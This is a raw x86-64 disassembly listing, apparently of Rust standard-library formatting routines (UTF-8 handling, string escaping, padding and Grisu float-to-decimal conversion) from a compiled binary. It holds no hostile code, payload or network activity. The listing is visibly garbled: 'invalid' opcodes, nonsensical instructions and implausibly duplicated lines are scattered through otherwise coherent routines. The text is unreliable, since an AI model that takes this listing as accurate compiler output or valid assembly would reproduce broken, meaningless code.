movq r8, xmm1
cmp rdx, r14
je 0x1a7f1b67eb6
invalid
invalid
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x1a7f1b67ea0
add rcx, r8
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
je 0x1a7f1b67efd
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x1a7f1b67efd
test al, 8
mov qword [rsp + 0x40], r13
jne 0x1a7f1b67f54
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
lea rax, [0x1a7f1c9e088]
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x1a7f1b67ef1.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.1a7f1b684b0
mov bl, 1
test al, al
je 0x1a7f1b67f34
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
movzx eax, byte [rdi + 0x38]
mov byte [rsp + 0x37], al
mov byte [rdi + 0x38], 1
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
mov rdx, r12
mov r8d, ebp
mov r9, rbx
call fcn.1a7f1b684b0
mov bl, 1
test al, al
jne 0x1a7f1b67f21
inc rsi
nop word cs:[rax + rax]
dec rsi
je 0x1a7f1b6805c
mov rcx, r13
mov edx, 0x30
call qword [r12 + 0x20]
test al, al
je 0x1a7f1b67fa0
jmp 0x1a7f1b6b06a
jmp 0x1a7f1b67f21
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x1a7f1b67ff9
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x1a7f1b67fe0
mov bl, 1
jmp 0x1a7f1b67f21
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.1a7f1b684b0
mov bl, 1
test al, al
jne 0x1a7f1b67f21
mov rcx, r12
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
call qword [r13 + 0x18]
test al, al
jne 0x1a7f1b67f21
mov r14, rsi
neg r14
mov rbx, 0xffffffffffffffff
nop
lea rax, [r14 + rbx]
cmp rax, 0xffffffffffffffff
je 0x1a7f1b6808a
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
inc rbx
test al, al
je 0x1a7f1b68040
jmp 0x1a7f1b6808d
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r15
call qword [r12 + 0x18]
test al, al
jne 0x1a7f1b67f21
mov eax, dword [rsp + 0x38]
mov dword [rdi + 0x30], eax
movzx eax, byte [rsp + 0x37]
mov byte [rdi + 0x38], al
xor ebx, ebx
jmp 0x1a7f1b67f21
mov rbx, rsi
cmp rbx, rsi
setb bl
jmp 0x1a7f1b67f21
movzx r10d, byte [rdx + 3]
and edx, 0x3f
and eax, 7
and al, 0x2c
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
jmp 0x1a7f1b6b0bf
mov rax, qword [rsi]
mov rcx, rax
add rcx, rdi
setb dl
cmp rcx, 0x10
setae bl
or bl, dl
jne 0x1a7f1b6b0ee
lea rcx, [rsi + rax]
add rcx, 8
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.1a7f1c22170
add qword [rsi], rdi
mov eax, ebx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, r9
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [r9 + 0x20]
mov rcx, r8
mov edx, 0x22
mov r14, rax
call rax
test al, al
je 0x1a7f1b6d654
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdi, rdi
je 0x1a7f1b6d8a9
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
lea rax, [rbx + rdi]
mov qword [rsp + 0x60], rax
xor r13d, r13d
mov rdi, rbx
xor r15d, r15d
mov qword [rsp + 0x58], rbx
jmp 0x1a7f1b6d699
add r13, r15
mov rbx, qword [rsp + 0x58]
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
je 0x1a7f1b6d8e2
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
js 0x1a7f1b6d6b0
lea rdi, [r12 + 1]
jmp 0x1a7f1b6d720
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x1a7f1b6d703
lea rdi, [r12 + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x1a7f1b6d711
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1a7f1b6d8e2
lea rdi, [r12 + 4]
jmp 0x1a7f1b6d720
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x1a7f1b6d720
shl eax, 0xc
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov r8d, 0x10001
call fcn.1a7f1b6d970
cmp byte [rsp + 0x4c], 0x80
je 0x1a7f1b6d688
movzx eax, byte [rsp + 0x57]
sub al, byte [rsp + 0x56]
cmp al, 1
je 0x1a7f1b6d688
mov r8, r15
sub r8, r13
jb 0x1a7f1b6d931
test r13, r13
je 0x1a7f1b6d778
cmp r13, qword [rsp + 0x38]
jae 0x1a7f1b6d772
cmp byte [rbx + r13], 0xc0
jge 0x1a7f1b6d778
jmp 0x1a7f1b6d931
jne 0x1a7f1b6d931
test r15, r15
je 0x1a7f1b6d796
cmp r15, qword [rsp + 0x38]
jae 0x1a7f1b6d790
cmp byte [rbx + r15], 0xbf
jg 0x1a7f1b6d796
jmp 0x1a7f1b6d931
jne 0x1a7f1b6d931
add r13, rbx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b6d641
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x4c]
and al, 0x4c
and al, 0x4c
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x1a7f1b6d830
mov bl, 0x80
jmp 0x1a7f1b6d7f5
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
sub al, 0xc7
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x1a7f1b6d641
invalid
invalid
invalid
invalid
invalid
cmp bl, 0x80
je 0x1a7f1b6d7d0
movzx r13d, byte [rsp + 0x32]
cmp r13b, byte [rsp + 0x33]
xor esi, dword [rbx + 0x69]
xor esi, dword [rbx + 0x69]
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
std
or cl, byte [rdi]
add dword [rdx], 1
add byte [rax], al
std
or cl, byte [rdi]
add dword [rdx], 1
add byte [rax], al
movzx edx, byte [rsp + r13 + 0x28]
jmp case.0x1a7f1b61633.131
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
nop dword [rax + rax]
cmp r13, rbx
jae 0x1a7f1b6d870
lea eax, [r13 + 1]
lea eax, [rbp + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
ja 0x1a7f1b6d91b
movzx edx, byte [rsp + r13 + 0x28]
mov rcx, rsi
int1
int1
call r14
inc r13
test al, al
je 0x1a7f1b6d840
invalid
invalid
jmp 0x1a7f1b6d641
mov r13d, 1
cmp ebp, 0x80
jb 0x1a7f1b6d680
invalid
invalid
std
invalid
invalid
add byte [rax], al
add byte [rcx + 0x80fd], al
add byte [rdi], cl
invalid
mov r13d, 2
cmp ebp, 0x800
jb 0x1a7f1b6d680
in al, dx
std
invalid
invalid
in al, dx
std
invalid
cmp ebp, 0x10000
mov r13d, 4
add byte [rax], al
add byte [rcx - 0x7d], cl
fld qword [rax]
add byte [rax], al
add byte [rcx - 0x7d], cl
fld qword [rax]
jmp 0x1a7f1b6d680
xor r13d, r13d
xor r8d, r8d
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x1a7f1b6d641
mov rcx, rsi
mov edx, 0x22
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
test r13, r13
je 0x1a7f1b6d902
mov rdx, qword [rsp + 0x38]
mov rax, rdx
sub rax, r13
mov r15, qword [rsp + 0x40]
jbe 0x1a7f1b6d911
cmp byte [rbx + r13], 0xbf
jg 0x1a7f1b6d916
jmp 0x1a7f1b6d952
xor r13d, r13d
mov r8, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x1a7f1b6d8af
jne 0x1a7f1b6d952
mov r13, rdx
mov r8, rax
jmp 0x1a7f1b6d8af
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
mov rcx, r13
call fcn.1a7f1c2fb60
ud2
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r15
call fcn.1a7f1c301d0
ud2
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov r8, r13
mov r9, rdx
call fcn.1a7f1c301d0
ud2
rol dword [rcx - 0x80], cl
stc
cmp byte [rdi], cl
xchg byte [rax + rax + 0x22eb0000], bl
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x1a7f1b6f26e
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
lea edx, [r9 + r9*4]
add byte [rax], al
add byte [rbx - 0x73], al
adc al, 0x89
cmp edx, eax
jbe 0x1a7f1b6f1fb
xor r11d, r11d
jmp 0x1a7f1b6f273
inc r8
jne 0x1a7f1b6f273
mov qword [rsp + 0x38], 0
mov al, 1
jmp 0x1a7f1b6f283
add byte [rax], al
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x28], al
mov r11d, 9
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x38], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rsp + 0x48], r9
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x98], rdx
cmp qword [rsi], 0
je 0x1a7f1b6f449
cmp rbx, 1
jne 0x1a7f1b6f2fc
xor r15d, r15d
xor edx, edx
jmp 0x1a7f1b6f360
mov rdx, rbx
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1a7f1c35370]
movdqa xmm2, xmmword [0x1a7f1c35380]
nop word [rax + rax]
movzx ebp, word [r14 + r15]
movd xmm3, ebp
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x1a7f1b6f320
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x1a7f1b6f377
nop
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x1a7f1b6f360
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, 0x14
test al, al
jne 0x1a7f1b6f414
test r8, r8
je 0x1a7f1b6f40f
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x1a7f1b6f3e4
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x1a7f1b6f414
mov edx, 1
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x1a7f1b6f449
movzx eax, byte [rsi + 0x38]
lea rcx, [0x1a7f1c9e148]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x1a7f1b6f46f
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.1a7f1b6f520
jmp 0x1a7f1b6f4e5
mov r12, r14
xor r14d, r14d
jmp 0x1a7f1b6f46f
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop dword [rax]
dec r12
je 0x1a7f1b6f494
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x1a7f1b6f480
jmp 0x1a7f1b6f4a5
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.1a7f1b6f520
test al, al
je 0x1a7f1b6f4a9
mov al, 1
jmp 0x1a7f1b6f4e5
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x1a7f1b6f4dc
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x1a7f1b6f4c0
jmp 0x1a7f1b6f4df
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
shl eax, 0x10
xor r9d, r9d
jmp 0x1a7f1b6fb53
or al, byte [rax]
xor eax, eax
nop word cs:[rax + rax]
cmp r8, r10
je 0x1a7f1b6fadf
movzx esi, byte [rcx + r10]
mul r11w
seto dl
add esi, 0xffffffd0
invalid
rol byte [rbx + 0x1a7709fe], 1
invalid
test dl, dl
jne 0x1a7f1b6fb43
inc r10
inc edx
add ax, si
jae 0x1a7f1b6fb10
mov eax, 0x200
jmp 0x1a7f1b6fb53
xor eax, eax
cmp esi, 0xa
setb al
shl eax, 8
add eax, 0x100
or r9d, eax
mov eax, r9d
pop rsi
ret
clc
add dword [rbp + 6], esi
mov byte [rcx + 1], 1
jmp 0x1a7f1b6fc0a
movzx r10d, byte [r9 + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x1a7f1b6fb8f
invalid
loopne 0x1a7f1b6fbf8
lea rax, [rax + rax*4]
lea eax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r8, rdx
jne 0x1a7f1b6fba0
mov qword [rcx + 8], rax
xor eax, eax
jmp 0x1a7f1b6fc0c
cmp r8, r10
je 0x1a7f1b6fbc2
movzx esi, byte [r9 + r10]
mul r11
seto dl
add esi, 0xffffffd0
cmp esi, 9
ja 0x1a7f1b6fb8f
test dl, dl
jne 0x1a7f1b6fc06
mov edx, esi
inc r10
add rax, rdx
jae 0x1a7f1b6fbe0
mov byte [rcx + 1], 2
mov al, 1
mov byte [rcx], al
pop rsi
ret
lea rax, [0x1a7f1c9e158]
movsxd rcx, dword [rax + r13*4]
add rcx, rax
jmp rcx
mov r13, r15
xor r15d, r15d
jmp case.0x1a7f1b6fd85.0
and al, 0x28
call fcn.1a7f1b6fe50
mov dword [rsi + 0x30], ebp
mov byte [rsi + 0x38], r12b
cmp bl, ch
push rax
cmp bl, ch
push rax
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r13
nop word cs:[rax + rax]
dec r13
je 0x1a7f1b6fde4
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x1a7f1b6fdd0
jmp 0x1a7f1b6fdf8
lea r8, [rsp + 0x28]
mov rcx, rbx
mov rdx, r14
call fcn.1a7f1b6fe50
test al, al
je 0x1a7f1b6fe0b
mov al, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x27], r12b
mov r12, r15
neg r12
mov r13, 0xffffffffffffffff
nop dword [rax]
lea rax, [r12 + r13]
cmp rax, 0xffffffffffffffff
je 0x1a7f1b6fe3c
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r13
test al, al
je 0x1a7f1b6fe20
jmp 0x1a7f1b6fe3f
mov r13, r15
cmp r13, r15
setb al
movzx r12d, byte [rsp + 0x27]
jmp 0x1a7f1b6fda1
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call qword [rsi + 0x18]
test al, al
jne 0x1a7f1b7007f
add r12, 0x18
add esp, 0x18
cmp r12, r13
cmp esp, ebp
je 0x1a7f1b70083
scasb al, byte [rdi]
add dword [rax], eax
add byte [rcx + 0xf], al
mov bh, 4
and al, 0x48
test eax, eax
movzx eax, word [r12]
test rax, rax
je 0x1a7f1b6ff40
cmp eax, 1
jne 0x1a7f1b6feb0
add dword [rbp - 0x34], esi
movzx eax, word [r12 + 2]
mov byte [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
movzx ecx, word [r12]
test rcx, rcx
je 0x1a7f1b6ff97
cmp ecx, 1
jne 0x1a7f1b6ff9e
movzx edx, word [r12 + 2]
cmp edx, 0x3e8
jae 0x1a7f1b6ffcc
mov ecx, 1
cmp dx, 0xa
jb 0x1a7f1b6ffe3
cmp dx, 0x64
mov ecx, 3
jmp 0x1a7f1b6ffda
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x1a7f1b6ff72
mov rbp, qword [rsi + 0x18]
nop
mov r8d, 0x40
mov rcx, rdi
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call rbp
invalid
test al, al
jne 0x1a7f1b7007f
invalid
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x1a7f1b6ff50
ja 0x1a7f1b6ff50
jmp 0x1a7f1b6ff7f
test r15, r15
je 0x1a7f1b6fec8
mov rbp, qword [rsi + 0x18]
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call rbp
test al, al
je 0x1a7f1b6fec8
jmp 0x1a7f1b7007f
lea rcx, [r12 + 8]
jmp 0x1a7f1b6ffa3
lea rcx, [r12 + 0x10]
mov rcx, qword [rcx]
cmp rcx, 6
jae 0x1a7f1b70096
test rcx, rcx
je 0x1a7f1b6ffc4
test cl, 1
jne 0x1a7f1b6ffe3
lea rdx, [rsp + rcx]
add rdx, 0x20
jmp 0x1a7f1b7000e
xor r8d, r8d
jmp 0x1a7f1b70074
movzx ecx, dx
cmp ecx, 0x2710
mov ecx, 5
sbb rcx, 0
test cl, 1
je 0x1a7f1b6ffba
lea rdx, [rsp + 0x1f]
add rdx, rcx
movzx r8d, ax
imul r8d, r8d, 0xcccd
shr r8d, 0x13
lea r9d, [r8 + r8]
lea r9d, [r9 + r9*4]
sub eax, r9d
or al, 0x30
mov byte [rsp + rcx + 0x1f], al
mov eax, r8d
mov r8d, 1
cmp rcx, 1
je 0x1a7f1b70074
nop word [rax + rax]
movzx r8d, ax
imul r9d, r8d, 0xcccd
shr r9d, 0x13
lea r10d, [r9 + r9]
lea r10d, [r10 + r10*4]
sub eax, r10d
or al, 0x30
mov byte [rdx - 1], al
imul eax, r9d, 0x199a
shr eax, 0xf
and eax, 0xfffffffe
lea eax, [rax + rax*4]
sub r9d, eax
or r9b, 0x30
mov byte [rdx - 2], r9b
add rdx, 0xfffffffffffffffe
shr r8d, 2
imul eax, r8d, 0x147b
shr eax, 0x11
cmp rdx, r14
jne 0x1a7f1b70020
mov r8, rcx
mov rcx, rdi
mov rdx, r14
jmp 0x1a7f1b6febd
mov al, 1
jmp 0x1a7f1b70085
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_fmtmod.rs
mov edx, 5
call fcn.1a7f1c2fbe0
ud2
fimul word [rcx - 0x7d]
ret 0x4803
invalid
invalid
add ecx, dword [rax - 0x7b]
leave
cmove r10, r11
dec r10
lea rcx, [0x1a7f1c9e168]
lea ecx, [0x1a7f1c9e168]
lea ecx, [0x1a7f1c9e168]
adc al, byte [rax]
movsxd r10, dword [rcx + r10*4]
adc al, 0x91
add r10, rcx
jmp r10
mov cl, 3
jmp 0x1a7f1b70167
mov cl, 4
jmp 0x1a7f1b701ae
add r12d, 0xfffffbcd
test bpl, 1
sete cl
jmp 0x1a7f1b701ae
add cl, 0xfe
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x1a7f1b70259
mov r11, rax
shr r11, 0x3f
lea rdx, [0x1a7f1c3a952]
lea r10, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
test r8b, r8b
cmovne r10, rdx
mov edx, 1
cmovne r11, rdx
test rax, rax
lea r8, [0x1a7f1c58d79]
cmovns r8, r10
cmp cl, 1
je 0x1a7f1b7029a
movzx eax, cl
cmp eax, 2
jne 0x1a7f1b702c4
mov word [rsp + 0x158], 2
test r9, r9
je 0x1a7f1b704d0
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], r9
mov edx, 2
jmp 0x1a7f1b704eb
mov word [rsp + 0x158], 2
lea rax, [0x1a7f1c3a953]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
mov edx, 1
lea rax, [rsp + 0x158]
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor r11d, r11d
jmp 0x1a7f1b7151b
mov word [rsp + 0x158], 2
lea rax, [0x1a7f1c3a956]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
jmp 0x1a7f1b704eb
test r12w, r12w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rbx, r12w
imul rcx, rbx
cmp rcx, 0x3ec0
jae 0x1a7f1b715d1
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r11
mov eax, r9d
neg eax
mov qword [rsp + 0x90], r9
cmp r9, 0x8000
mov edx, 0x8000
cmovb edx, eax
mov dword [rsp + 0x54], edx
test rbp, rbp
je 0x1a7f1b715eb
shr rcx, 4
add rcx, 0x15
mov qword [rsp + 0x58], rcx
mov rdi, rbp
shr rdi, 0x20
mov rax, rbp
shl rax, 0x20
lea ecx, [r12 - 0x20]
test rdi, rdi
cmovne rax, rbp
cmovne ecx, r12d
mov rdx, rax
shr rdx, 0x30
mov r8, rax
shl r8, 0x10
lea r9d, [rcx - 0x10]
test rdx, rdx
cmovne r8, rax
cmovne r9d, ecx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r8, rcx
shl r8, 4
test rax, rax
cmovne r8, rcx
lea ecx, [rdx - 4]
cmovne ecx, edx
mov r9, r8
shr r9, 0x3e
lea edx, [rcx - 2]
lea rax, [r8*4]
test r9, r9
cmovne edx, ecx
cmovne rax, r8
xor ecx, ecx
test rax, rax
setns cl
sub edx, ecx
mov r8d, 0xffffffa0
sub r8d, edx
movsx r8d, r8w
lea r8d, [r8 + r8*4]
shl r8d, 4
add r8d, 0x153b0
imul r9, r8, 0x7b4dc993
shl rax, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea r11, [0x1a7f1c3a270]
mov r8, qword [r9 + r11]
mov r10d, eax
mov rcx, rax
shr rcx, 0x20
mov eax, r8d
shr r8, 0x20
mov rsi, r8
imul rsi, rcx
imul r8, r10
imul rcx, rax
imul rax, r10
shr rax, 0x20
mov r10d, ecx
add r10, rax
mov eax, r8d
add rax, r10
sub rax, 0xffffffff80000000
shr rcx, 0x20
add rcx, rsi
shr r8, 0x20
add r8, rcx
shr rax, 0x20
add rax, r8
movzx ecx, word [r9 + r11 + 8]
add cx, dx
mov edx, 0xffffffc0
sub edx, ecx
movzx r10d, dx
mov r8d, r10d
and r8d, 0x3f
mov rdx, rax
mov ecx, r8d
shr rdx, cl
mov esi, 1
shl rsi, cl
lea r14, [rsi - 1]
mov r15, rax
and r15, r14
mov qword [rsp + 0x78], rdi
je 0x1a7f1b704f8
mov qword [rsp + 0x60], rsi
movzx r9d, word [r9 + r11 + 0xa]
cmp edx, 0x2710
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], rbx
jae 0x1a7f1b70512
cmp edx, 0x64
mov rsi, qword [rsp + 0x58]
jae 0x1a7f1b7053d
xor ecx, ecx
cmp edx, 0xa
setae cl
lea r13d, [rcx + rcx*8]
inc r13d
jmp 0x1a7f1b7059d
lea rax, [0x1a7f1c58d7a]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rax, [rsp + 0x158]
jmp 0x1a7f1b7151b
mov qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x58]
mov edi, dword [rsp + 0x54]
jmp 0x1a7f1b70838
cmp edx, 0xf4240
mov rsi, qword [rsp + 0x58]
jae 0x1a7f1b7055b
cmp edx, 0x186a0
setb cl
mov r11d, 0x2710
mov r13d, 0x186a0
cmovb r13d, r11d
xor cl, 5
jmp 0x1a7f1b7059d
cmp edx, 0x3e8
setb cl
mov r11d, 0x64
mov r13d, 0x3e8
cmovb r13d, r11d
xor cl, 3
jmp 0x1a7f1b7059d
cmp edx, 0x5f5e100
jae 0x1a7f1b70581
cmp edx, 0x989680
setb cl
mov r11d, 0xf4240
mov r13d, 0x989680
cmovb r13d, r11d
xor cl, 7
jmp 0x1a7f1b7059d
cmp edx, 0x3b9aca00
setb cl
mov r11d, 0x5f5e100
mov r13d, 0x3b9aca00
cmovb r13d, r11d
xor cl, 9
movzx ecx, cl
mov ebx, ecx
sub ebx, r9d
inc ebx
mov edi, dword [rsp + 0x54]
cmp bx, di
jle 0x1a7f1b70639
movsx rax, bx
mov r9d, ebx
sub r9d, edi
movsx r11, di
sub rax, r11
cmp rax, rsi
movsx r9, r9w
cmovae r9, rsi
neg rcx
mov r11d, 1
mov esi, 0xcccccccd
nop
mov eax, edx
xor edx, edx
div r13d
add al, 0x30
mov byte [rsp + r11 + 0x3f7], al
cmp r9, r11
je 0x1a7f1b70689
lea rax, [rcx + r11]
cmp rax, 1
je 0x1a7f1b70787
mov eax, r13d
imul rax, rsi
shr rax, 0x23
inc r11
cmp r13d, 0xa
mov r13d, eax
jae 0x1a7f1b705e0
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x19
call fcn.1a7f1c2fc60
ud2
movabs rcx, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov eax, r13d
mov ecx, r8d
shl rax, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov r8, rsi
xor r9d, r9d
jmp 0x1a7f1b706d4
mov eax, edx
mov ecx, r8d
shl rax, cl
add rax, r15
mov edx, r13d
shl rdx, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov edi, dword [rsp + 0x54]
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov rsi, qword [rsp + 0x58]
mov r8, rsi
call fcn.1a7f1b69270
mov r13, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x98]
test rcx, rcx
mov rbx, qword [rsp + 0x68]
je 0x1a7f1b70838
mov rbp, qword [rsp + 0xa0]
movzx r14d, word [rsp + 0xa8]
